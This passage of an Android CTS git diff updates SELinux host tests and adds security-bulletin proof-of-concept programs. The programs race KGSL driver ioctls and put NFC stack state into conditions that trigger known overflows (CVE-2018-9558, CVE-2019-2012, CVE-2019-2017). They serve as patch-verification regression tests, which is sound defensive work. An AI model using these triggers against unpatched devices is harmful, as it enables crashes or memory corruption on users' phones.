     private static final Map<ITestDevice, File> cachedDeviceVintfJson = new HashMap<>(1);
     private static final Map<ITestDevice, File> cachedDeviceSystemPolicy = new HashMap<>(1);
@@ -108,14 +110,13 @@
     private File devicePolicyFile;
     private File deviceSystemPolicyFile;
     private File devicePlatSeappFile;
-    private File deviceNonplatSeappFile;
+    private File deviceVendorSeappFile;
     private File devicePlatFcFile;
-    private File deviceNonplatFcFile;
+    private File deviceVendorFcFile;
     private File devicePcFile;
     private File deviceSvcFile;
     private File seappNeverAllowFile;
-    private File libsepolwrap;
-    private File libcpp;
+    private File copyLibcpp;
     private File sepolicyTests;
 
     private IBuildInfo mBuild;
@@ -168,20 +169,14 @@
         if (isSepolicySplit(mDevice)) {
             devicePlatFcFile = getDeviceFile(mDevice, cachedDevicePlatFcFiles,
                     "/system/etc/selinux/plat_file_contexts", "plat_file_contexts");
-            if (mDevice.doesFileExist("/vendor/etc/selinux/nonplat_file_contexts")){
-                // Old nonplat_* naming can be present if a framework-only OTA was done.
-                deviceNonplatFcFile = getDeviceFile(mDevice, cachedDeviceNonplatFcFiles,
-                        "/vendor/etc/selinux/nonplat_file_contexts", "nonplat_file_contexts");
-            } else {
-                deviceNonplatFcFile = getDeviceFile(mDevice, cachedDeviceNonplatFcFiles,
-                        "/vendor/etc/selinux/vendor_file_contexts", "vendor_file_contexts");
-            }
+            deviceVendorFcFile = getDeviceFile(mDevice, cachedDeviceVendorFcFiles,
+                    "/vendor/etc/selinux/vendor_file_contexts", "vendor_file_contexts");
             deviceSystemPolicyFile =
                     android.security.cts.SELinuxHostTest.getDeviceSystemPolicyFile(mDevice);
         } else {
             devicePlatFcFile = getDeviceFile(mDevice, cachedDevicePlatFcFiles,
                     "/plat_file_contexts", "plat_file_contexts");
-            deviceNonplatFcFile = getDeviceFile(mDevice, cachedDeviceNonplatFcFiles,
+            deviceVendorFcFile = getDeviceFile(mDevice, cachedDeviceVendorFcFiles,
                     "/vendor_file_contexts", "vendor_file_contexts");
         }
     }
@@ -631,13 +626,13 @@
         /* obtain seapp_contexts file from running device */
         devicePlatSeappFile = File.createTempFile("plat_seapp_contexts", ".tmp");
         devicePlatSeappFile.deleteOnExit();
-        deviceNonplatSeappFile = File.createTempFile("nonplat_seapp_contexts", ".tmp");
-        deviceNonplatSeappFile.deleteOnExit();
+        deviceVendorSeappFile = File.createTempFile("vendor_seapp_contexts", ".tmp");
+        deviceVendorSeappFile.deleteOnExit();
         if (mDevice.pullFile("/system/etc/selinux/plat_seapp_contexts", devicePlatSeappFile)) {
-            mDevice.pullFile("/vendor/etc/selinux/nonplat_seapp_contexts", deviceNonplatSeappFile);
+            mDevice.pullFile("/vendor/etc/selinux/vendor_seapp_contexts", deviceVendorSeappFile);
         }else {
             mDevice.pullFile("/plat_seapp_contexts", devicePlatSeappFile);
-            mDevice.pullFile("/nonplat_seapp_contexts", deviceNonplatSeappFile);
+            mDevice.pullFile("/vendor_seapp_contexts", deviceVendorSeappFile);
 	}
 
         /* retrieve the checkseapp executable from jar */
@@ -652,7 +647,7 @@
                 "-p", devicePolicyFile.getAbsolutePath(),
                 seappNeverAllowFile.getAbsolutePath(),
                 devicePlatSeappFile.getAbsolutePath(),
-                deviceNonplatSeappFile.getAbsolutePath());
+                deviceVendorSeappFile.getAbsolutePath());
         pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
         pb.redirectErrorStream(true);
         Process p = pb.start();
@@ -803,11 +798,11 @@
         checkFc = copyResourceToTempFile("/checkfc");
         checkFc.setExecutable(true);
 
-        /* combine plat and nonplat policies for testing */
+        /* combine plat and vendor policies for testing */
         File combinedFcFile = File.createTempFile("combined_file_context", ".tmp");
         combinedFcFile.deleteOnExit();
         appendTo(combinedFcFile.getAbsolutePath(), devicePlatFcFile.getAbsolutePath());
-        appendTo(combinedFcFile.getAbsolutePath(), deviceNonplatFcFile.getAbsolutePath());
+        appendTo(combinedFcFile.getAbsolutePath(), deviceVendorFcFile.getAbsolutePath());
 
         /* run checkfc sepolicy file_contexts */
         ProcessBuilder pb = new ProcessBuilder(checkFc.getAbsolutePath(),
@@ -910,32 +905,13 @@
         return (os.startsWith("mac") || os.startsWith("darwin"));
     }
 
-    private void setupLibraries() throws Exception {
-        // The host side binary tests are host OS specific. Use Linux
-        // libraries on Linux and Mac libraries on Mac.
-        if (isMac()) {
-            libsepolwrap = copyResourceToTempFile("/libsepolwrap.dylib");
-            libcpp = copyResourceToTempFile("/libc++.dylib");
-            libcpp.renameTo(new File(System.getProperty("java.io.tmpdir") + "/libc++.dylib"));
-        } else {
-            libsepolwrap = copyResourceToTempFile("/libsepolwrap.so");
-            libcpp = copyResourceToTempFile("/libc++.so");
-            libcpp.renameTo(new File(System.getProperty("java.io.tmpdir") + "/libc++.so"));
-        }
-        libsepolwrap.deleteOnExit();
-        libcpp.deleteOnExit();
-    }
-
     private void assertSepolicyTests(String test, String testExecutable,
             boolean includeVendorSepolicy) throws Exception {
-        setupLibraries();
         sepolicyTests = copyResourceToTempFile(testExecutable);
         sepolicyTests.setExecutable(true);
 
         List<String> args = new ArrayList<String>();
         args.add(sepolicyTests.getAbsolutePath());
-        args.add("-l");
-        args.add(libsepolwrap.getAbsolutePath());
         args.add("-f");
         args.add(devicePlatFcFile.getAbsolutePath());
         args.add("--test");
@@ -943,7 +919,7 @@
 
         if (includeVendorSepolicy) {
             args.add("-f");
-            args.add(deviceNonplatFcFile.getAbsolutePath());
+            args.add(deviceVendorFcFile.getAbsolutePath());
             args.add("-p");
             args.add(devicePolicyFile.getAbsolutePath());
         } else {
@@ -952,12 +928,6 @@
         }
 
         ProcessBuilder pb = new ProcessBuilder(args);
-        Map<String, String> env = pb.environment();
-        if (isMac()) {
-            env.put("DYLD_LIBRARY_PATH", System.getProperty("java.io.tmpdir"));
-        } else {
-            env.put("LD_LIBRARY_PATH", System.getProperty("java.io.tmpdir"));
-        }
         pb.redirectOutput(ProcessBuilder.Redirect.PIPE);
         pb.redirectErrorStream(true);
         Process p = pb.start();
@@ -984,6 +954,17 @@
     }
 
     /**
+     * Tests that all types in /sys/fs/bpf have the bpffs_type attribute.
+     *
+     * @throws Exception
+     */
+    @Test
+    public void testBpffsTypeViolators() throws Exception {
+        assertSepolicyTests("TestBpffsTypeViolations", "/sepolicy_tests",
+                PropertyUtil.isVendorApiLevelNewerThan(mDevice, 33) /* includeVendorSepolicy */);
+    }
+
+    /**
      * Tests that all types in /proc have the proc_type attribute.
      *
      * @throws Exception
@@ -1357,7 +1338,7 @@
     @CddTest(requirement="9.7")
     @Test
     public void testDrmServerDomain() throws DeviceNotAvailableException {
-        assertDomainZeroOrOne("u:r:drmserver:s0", "/system/bin/drmserver");
+        assertDomainN("u:r:drmserver:s0", "/system/bin/drmserver", "/system/bin/drmserver64");
     }
 
     /* Installd is always running */
diff --git a/hostsidetests/securitybulletin/Android.bp b/hostsidetests/securitybulletin/Android.bp
index d3e6ea7..7770ebd 100644
--- a/hostsidetests/securitybulletin/Android.bp
+++ b/hostsidetests/securitybulletin/Android.bp
@@ -29,9 +29,10 @@
     ],
     // Must match the package name in CtsTestCaseList.mk
     libs: [
-        "cts-tradefed",
-        "tradefed",
         "compatibility-host-util",
+        "cts-tradefed",
+        "sts-host-util",
+        "tradefed",
     ],
 }
 
diff --git a/hostsidetests/securitybulletin/Android.mk b/hostsidetests/securitybulletin/Android.mk
deleted file mode 100644
index bbf61ce..0000000
--- a/hostsidetests/securitybulletin/Android.mk
+++ /dev/null
@@ -1,15 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-include $(call all-subdir-makefiles)
diff --git a/hostsidetests/securitybulletin/res/cve_2020_0034.ivf b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf
new file mode 100644
index 0000000..d03c246
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2020_0034.ivf
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_0481.txt b/hostsidetests/securitybulletin/res/cve_2021_0481.txt
deleted file mode 100644
index f8d64e2c..0000000
--- a/hostsidetests/securitybulletin/res/cve_2021_0481.txt
+++ /dev/null
@@ -1 +0,0 @@
-This is cve_2021-0481.txt
diff --git a/hostsidetests/securitybulletin/res/cve_2021_39664 b/hostsidetests/securitybulletin/res/cve_2021_39664
new file mode 100644
index 0000000..21f7d24
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_39664
Binary files differ
diff --git a/hostsidetests/securitybulletin/res/cve_2021_39804.heif b/hostsidetests/securitybulletin/res/cve_2021_39804.heif
new file mode 100644
index 0000000..1f95af0
--- /dev/null
+++ b/hostsidetests/securitybulletin/res/cve_2021_39804.heif
Binary files differ
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
index 326391e..11eb61ee 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/Android.bp
@@ -39,6 +39,7 @@
         "-Wno-format-nonliteral",
         "-Wstrict-prototypes",
         "-Wmissing-prototypes",
+        "-Wno-unused-but-set-variable",
         "-Wno-unused-parameter",
         "-Wno-unused-variable",
         "-Wno-macro-redefined",
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
index 5d4950a..dedbaf9 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-8479/poc.c
@@ -124,50 +124,47 @@
 }
 
 void* child_ioctl_0(void* no_use) {
-  int ret = 1;
   time_t test_started = start_timer();
   struct kgsl_drawctxt_destroy kdd = {0};
   kdd.drawctxt_id = kgsl_id;
   set_affinity(1);
 
   while (timer_active(test_started)) {
-    ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
+    ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
   }
   return NULL;
 }
 
 void* child_ioctl_1(void* no_use) {
-  int ret = 1;
   time_t test_started = start_timer();
   struct kgsl_drawctxt_destroy kdd = {0};
   kdd.drawctxt_id = kgsl_id;
   set_affinity(2);
 
   while (timer_active(test_started)) {
-    ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
+    ioctl(fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &kdd);
   }
   return NULL;
 }
 
 void* child_ioctl_2(void* no_use) {
-  int ret = 1;
   time_t test_started = start_timer();
   struct kgsl_drawctxt_create kdc = {0, 0};
   kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
   set_affinity(3);
   while (timer_active(test_started)) {
-    ret = ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
+    ioctl(fd, IOCTL_KGSL_DRAWCTXT_CREATE, &kdc);
     kgsl_id = kdc.drawctxt_id;
   }
   return NULL;
 }
 
-int main() {
+int main(void) {
   int i, ret;
   time_t test_started = start_timer();
   struct kgsl_drawctxt_create kdc = {0, 0};
-  kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
   struct kgsl_drawctxt_destroy kdd = {0};
+  kdc.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
 
   /* bind_cpu */
   set_affinity(0);
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/poc.c
index d222a72..4f91d41 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0333/poc.c
@@ -41,7 +41,7 @@
 
 struct nvif_ioctl_v0 s_nvif;
 
-int main() {
+int main(void) {
   int ret;
 
   dev_fd = open(DEV, O_RDONLY);
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/poc.c
index 5ed3e9b..c911439 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/poc.c
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0508/poc.c
@@ -181,7 +181,7 @@
   ioctl(g_ion_fd, ION_IOC_FREE, &para);
 }
 
-int main() {
+int main(void) {
   if (open_driver() < 0) {
     return -1;
   }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
index e20c0f2..8494e2c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9558/poc.cpp
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -23,6 +23,16 @@
 #define INITIAL_VALUE 0xBE
 #define NUM_BYTES 1
 
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+    if (isTestInProgress && info->si_signo == SIGABRT) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    exit(EXIT_FAILURE);
+}
+
 extern tRW_CB rw_cb;
 void rw_init(void);
 void rw_t2t_handle_rsp(uint8_t *p_data);
@@ -33,18 +43,32 @@
 }
 
 int main() {
-  tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
-  rw_init();
-  rw_cb.p_cback = &poc_cback;
-  p_t2t->state = RW_T2T_STATE_DETECT_TLV;
-  p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
-  p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
-  p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
-  p_t2t->bytes_count = NUM_BYTES;
-  p_t2t->tlv_value[1] = UINT8_MAX;
-  uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES);
-  memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK));
-  uint8_t data[T2T_READ_DATA_LEN];
-  rw_t2t_handle_rsp(data);
-  return EXIT_SUCCESS;
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigabrt_handler;
+    sigaction(SIGABRT, &new_action, &old_action);
+
+    tNFC_ACTIVATE_DEVT p_activate_params = {};
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+    FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+    tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
+    rw_init();
+    rw_cb.p_cback = &poc_cback;
+    p_t2t->state = RW_T2T_STATE_DETECT_TLV;
+    p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
+    p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
+    p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
+    p_t2t->bytes_count = NUM_BYTES;
+    p_t2t->tlv_value[1] = UINT8_MAX;
+    p_t2t->p_cur_cmd_buf = (NFC_HDR *)GKI_getpoolbuf(NFC_RW_POOL_ID);
+    uint8_t *base_ptr = (uint8_t *)(p_t2t->lockbyte + RW_T1T_MAX_LOCK_BYTES);
+    memset((void *)base_ptr, INITIAL_VALUE, sizeof(tRW_T1T_LOCK));
+    uint8_t data[T2T_READ_DATA_LEN];
+    isTestInProgress = true;
+    rw_t2t_handle_rsp(data);
+    isTestInProgress = false;
+    return EXIT_SUCCESS;
 }
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
new file mode 100644
index 0000000..78f51bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/Android.bp
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2019-2012",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+        ":cts_hostsidetests_securitybulletin_memutils",
+    ],
+    compile_multilib: "64",
+    include_dirs: [
+        "system/nfc/src/nfc/include",
+        "system/nfc/src/include/",
+        "system/nfc/src/gki/common/",
+        "system/nfc/src/gki/ulinux",
+    ],
+    shared_libs: [
+        "libnfc-nci",
+    ],
+    cflags: [
+        "-DCHECK_OVERFLOW",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp
new file mode 100644
index 0000000..97556ba
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <stdlib.h>
+#include <string.h>
+#include <tags_defs.h>
+
+#include "../includes/common.h"
+
+#define T3T_MSG_FELICALITE_MC_OFFSET 0x01
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+    if (testInProgress && info->si_signo == SIGSEGV) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    exit (EXIT_FAILURE);
+}
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+tNFC_CONN *p_data;
+void rw_init(void);
+tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
+        uint8_t mrti_check, uint8_t mrti_update);
+
+void *allocate_memory(size_t size) {
+    void *ptr = malloc(size);
+    if (ptr) {
+        memset(ptr, 0x0, size);
+    }
+    return ptr;
+}
+
+/* States */
+enum {
+    RW_T3T_STATE_NOT_ACTIVATED, RW_T3T_STATE_IDLE, RW_T3T_STATE_COMMAND_PENDING
+};
+
+/* Enumeration of API commands */
+enum {
+    RW_T3T_CMD_DETECT_NDEF,
+    RW_T3T_CMD_CHECK_NDEF,
+    RW_T3T_CMD_UPDATE_NDEF,
+    RW_T3T_CMD_CHECK,
+    RW_T3T_CMD_UPDATE,
+    RW_T3T_CMD_SEND_RAW_FRAME,
+    RW_T3T_CMD_GET_SYSTEM_CODES,
+    RW_T3T_CMD_FORMAT,
+    RW_T3T_CMD_SET_READ_ONLY_SOFT,
+    RW_T3T_CMD_SET_READ_ONLY_HARD,
+    RW_T3T_CMD_MAX
+};
+
+/* Sub-states */
+enum {
+    /* Sub states for formatting Felica-Lite */
+    RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+     formatting) */
+    RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+     block-read to complete */
+    RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+     block-write to complete */
+    RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+     to complete */
+    /* Sub states for setting Felica-Lite read only */
+    RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+     setting read only) */
+    RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+     to complete */
+    RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+     block-read to complete */
+    RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
+     block-write to complete */
+};
+
+enum {
+    P_MC_VAL = !T3T_MSG_FELICALITE_MC_OFFSET
+};
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+    (void) event;
+    (void) p_rw_data;
+}
+
+void GKI_freebuf(void* p_buf __attribute__((unused))) {
+}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {
+}
+
+void GKI_stop_timer(uint8_t) {
+}
+
+void exit_handler(void) {
+    if (p_data) {
+        if (p_data->data.p_data) {
+            free(p_data->data.p_data);
+            p_data->data.p_data = nullptr;
+        }
+        free(p_data);
+        p_data = nullptr;
+    }
+}
+
+int main() {
+    atexit(exit_handler);
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigsegv_handler;
+    sigaction(SIGSEGV, &new_action, &old_action);
+
+    tNFC_ACTIVATE_DEVT p_activate_params = { };
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+    FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+    tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
+    GKI_init();
+    rw_init();
+
+    rw_cb.p_cback = &poc_cback;
+    uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
+    uint8_t mrti_check = 1, mrti_update = 1;
+    FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK);
+
+    p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
+    FAIL_CHECK(p_data);
+
+    p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
+    FAIL_CHECK(p_data->data.p_data);
+
+    p_data->status = NFC_STATUS_OK;
+    p_t3t->cur_cmd = RW_T3T_CMD_FORMAT;
+    p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+    p_t3t->rw_substate = RW_T3T_FMT_SST_CHECK_MC_BLK;
+    NFC_HDR *p_msg = (p_data->data).p_data;
+    p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
+    uint8_t *p_t3t_rsp = (uint8_t *) (p_msg + 1) + (p_msg->offset + 1);
+    p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
+    p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
+    uint8_t *p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA];
+    p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = P_MC_VAL;
+    tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+    tNFC_CONN_EVT event = NFC_DATA_CEVT;
+    memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
+            NCI_NFCID2_LEN);
+
+    testInProgress = true;
+    p_cb->p_cback(0, event, p_data);
+    testInProgress = false;
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp
new file mode 100644
index 0000000..5dac7f7a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CVE-2019-2017",
+    defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+    srcs: [
+        "poc.cpp",
+    ],
+    compile_multilib: "64",
+    shared_libs: [
+        "libnfc-nci",
+    ],
+    include_dirs: [
+        "system/nfc/src/nfc/include",
+        "system/nfc/src/gki/common",
+        "system/nfc/src/gki/ulinux",
+        "system/nfc/src/include",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp
new file mode 100644
index 0000000..9ecc457
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <rw_int.h>
+#include <stdlib.h>
+#include "../includes/common.h"
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+    if (testInProgress && info->si_signo == SIGABRT) {
+        (*old_action.sa_sigaction)(signum, info, context);
+        return;
+    }
+    exit(EXIT_FAILURE);
+}
+
+uint8_t *p_data = nullptr;
+extern tRW_CB rw_cb;
+
+extern void rw_t2t_handle_rsp(uint8_t *p_data);
+
+void poc_cback(uint8_t, tRW_DATA *) {}
+
+void exit_handler(void) {
+    if (p_data) {
+        free(p_data);
+        p_data = nullptr;
+    }
+}
+
+int main() {
+    atexit(exit_handler);
+    sigemptyset(&new_action.sa_mask);
+    new_action.sa_flags = SA_SIGINFO;
+    new_action.sa_sigaction = sigabrt_handler;
+    sigaction(SIGABRT, &new_action, &old_action);
+
+    tNFC_ACTIVATE_DEVT p_activate_params = {};
+    p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+    p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+    FAIL_CHECK(RW_SetActivatedTagType(&p_activate_params, &poc_cback) == NFC_STATUS_OK);
+    FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+    tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
+    p_t2t->state = RW_T2T_STATE_DETECT_TLV;
+    p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
+    p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
+    p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
+    p_t2t->bytes_count = 0;
+    p_t2t->p_cur_cmd_buf = (NFC_HDR *)GKI_getpoolbuf(NFC_RW_POOL_ID);
+    rw_cb.p_cback = &poc_cback;
+    p_data = (uint8_t *)malloc(sizeof(uint8_t));
+    FAIL_CHECK(p_data);
+
+    testInProgress = true;
+    rw_t2t_handle_rsp(p_data);
+    testInProgress = false;
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp
new file mode 100644
index 0000000..5fdbfdb
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
